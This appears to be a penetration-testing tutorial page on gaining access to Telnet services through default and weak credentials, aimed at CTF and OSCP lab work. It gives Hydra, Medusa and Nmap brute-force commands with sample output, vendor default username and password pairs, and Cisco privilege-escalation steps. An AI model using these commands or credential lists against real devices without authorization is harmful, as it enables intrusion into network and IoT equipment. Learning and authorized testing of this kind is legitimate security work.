Skip to content
HackIndex logo

HackIndex

Telnet Default and Weak Credential Exploitation

3 min read Mar 11, 2026

Telnet survives almost exclusively on network devices — routers, switches, firewalls, printers, IP cameras, and IoT hardware. Most of these ship with default credentials and many are never changed. Unlike SSH, Telnet offers no encryption and no public-key authentication, so the only barrier is the username and password.

Successful authentication over Telnet on a network device typically lands you in a privileged management shell. On Cisco IOS that is a fully interactive CLI. On embedded Linux devices it is often a root shell. The impact is immediate and usually high.

Brute Forcing with Hydra

Hydra handles Telnet reliably and is the standard choice:

┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/wordlists/rockyou.txt telnet://$TARGET_IP 
[23][telnet] host: 10.10.10.5   login: admin   password: admin

For a credential list instead of a password list:

┌──(kali㉿kali)-[~]
└─$ hydra -C /usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt telnet://$TARGET_IP 
[23][telnet] host: 10.10.10.5   login: admin   password: admin

Hydra's Telnet module is slower than its HTTP or SSH modules because it waits for the banner and prompt. If the target is slow to respond, increase the timeout:

┌──(kali㉿kali)-[~]
└─$ hydra -l $USER -P /usr/share/wordlists/rockyou.txt -t 4 -w 30 telnet://$TARGET_IP 
[23][telnet] host: 10.10.10.5   login: admin   password: admin

-t 4 limits threads to avoid overwhelming the device. Many embedded Telnet daemons crash or lock out under high concurrency. Start conservative.

Brute Forcing with Medusa

Medusa handles Telnet well and is worth using when Hydra gives inconsistent results against certain devices:

┌──(kali㉿kali)-[~]
└─$ medusa -h $TARGET_IP -u $USER -P /usr/share/wordlists/rockyou.txt -M telnet

With a combined credential list:

┌──(kali㉿kali)-[~]
└─$ medusa -h $TARGET_IP -C /usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt -M telnet

Default Credential Lists Worth Trying First

Before running a full wordlist attack, try known defaults. Most CTF and OSCP lab Telnet targets use one of these. SecLists has a dedicated Telnet list:

/usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt

Common defaults by device type:

  • Cisco IOS: cisco/cisco, admin/admin, blank username with cisco password

  • Linksys/Netgear routers: admin/admin, admin/password, admin/blank

  • Huawei devices: admin/admin, root/admin, user/user

  • Allied Telesis switches: manager/friend

  • D-Link: admin/blank

  • Embedded Linux / IoT: root/blank, root/root, admin/1234

Try these manually before running Hydra. A single successful default login is faster than any wordlist.

Manual Login and Prompt Handling

Connect with the standard Telnet client:

┌──(kali㉿kali)-[~]
└─$ telnet $TARGET_IP $PORT

Or with nc if Telnet is not installed:

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP $PORT

Some devices present a Username: and Password: prompt. Others drop straight to a password prompt with no username field — common on older Cisco devices using a simple enable password on the VTY line. If there is no username prompt, try the password directly.

On Cisco IOS after login, check your privilege level:

┌──(kali㉿kali)-[~]
└─$ show privilege

If you are at level 1, attempt to enter privileged exec mode:

┌──(kali㉿kali)-[~]
└─$ enable

Enter the enable password when prompted. Common enable passwords: enable, cisco, secret, blank. If you land directly at the # prompt you are already at privilege 15.

Nmap Scripting for Default Credential Checks

Nmap's telnet-brute and telnet-ntlm-info NSE scripts cover basic checks:

┌──(kali㉿kali)-[~]
└─$ nmap -p $PORT --script telnet-brute --script-args userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt $TARGET_IP

This is slower than Hydra but useful if you want to keep everything within a single Nmap scan workflow.

References